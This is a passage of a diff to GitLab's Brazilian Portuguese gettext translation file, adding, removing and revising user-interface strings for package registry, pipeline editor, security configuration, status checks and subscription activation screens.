msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr "Nome da nova etiqueta"
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr "Nenhum dado encontrado"
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr "Nenhum"
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,8 +23762,8 @@ msgstr "Páginas"
msgid "Pages Domain"
msgstr "Domínio de páginas"
-msgid "Pages getting started guide"
-msgstr "Guia de primeiros passos a Páginas"
+msgid "Pagination|First"
+msgstr ""
msgid "Pagination|Go to first page"
msgstr "Ir para primeira página"
@@ -23356,6 +23777,9 @@ msgstr "Ir para a próxima página"
msgid "Pagination|Go to previous page"
msgstr "Ir para a página anterior"
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr "Último »"
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr "Senha"
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr "Agendamento da Pipeline"
msgid "Pipeline Schedules"
msgstr "Agendamentos da Pipeline"
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Total:"
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr "API"
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr "Este projeto não está atualmente configurado para executar pipelines."
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr "Por favor, forneça um nome"
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr "Por favor, selecione um grupo."
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr "Por favor, selecione e adicione um membro"
@@ -24250,6 +24749,9 @@ msgstr "Por favor selecione pelo menos um filtro para ver os resultados"
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr "Defina uma nova senha antes de continuar."
@@ -24283,9 +24785,6 @@ msgstr "Por favor, aguarde enquanto conectamos ao seu repositório. Atualize à
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr "Por favor, aguarde enquanto importamos o repositório para você. Atualize à vontade."
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr "Pré-visualizar"
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,8 +25328,8 @@ msgstr "Contribuições privadas"
msgid "Profiles|Profile was successfully updated"
msgstr "O perfil foi atualizado com sucesso"
-msgid "Profiles|Public Avatar"
-msgstr "Avatar público"
+msgid "Profiles|Public avatar"
+msgstr ""
msgid "Profiles|Public email"
msgstr "E-mail público"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr "Execute operações comuns no projeto GitLab: %{project_name}"
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr "Projetos compartilhados com %{group_name}"
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr "Projetos que pertencem a um grupo são prefixados com o namespace do grupo. Projetos existentes podem ser movidos para um grupo."
-
msgid "Projects to index"
msgstr "Projetos para indexar"
@@ -25765,12 +26267,6 @@ msgstr "Esta funcionalidade necessita de suporte à localStorage do navegador"
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr "Permite que você clone imediatamente o repositório deste projeto. Pule esta etapa se você planeja fazer o push de um repositório existente."
-msgid "ProjectsNew|Blank"
-msgstr "Em branco"
-
-msgid "ProjectsNew|Blank project"
-msgstr "Projeto em branco"
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr "Redirecionar para provedor SAML para testar configuração"
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr "Removido"
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr "Ver métricas"
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr "Selecione um repositório"
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr "Selecione um repositório de modelos"
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr "Definir padrão e restringir os níveis de visibilidade. Configurar font
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr "Definir repositório de modelos para toda a instância"
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr "Restrições de cadastro"
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr "Cartão inteligente"
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr "Especifique um padrão regex de endereço de e-mail para identificar usu
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr "Colocar na lista para commit"
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr "Armazenamento:"
msgid "StorageSize|Unknown"
msgstr "Desconhecido"
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr "Domingo"
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr "URL da página de suporte"
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr "Trocar branch/tag"
@@ -31340,6 +32013,9 @@ msgstr "Modelo"
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr "Modelos"
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr "Análise de cobertura de teste"
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr "A importação expirará após %{timeout}. Para repositórios que demora
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr "O convite não pôde ser aceito."
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
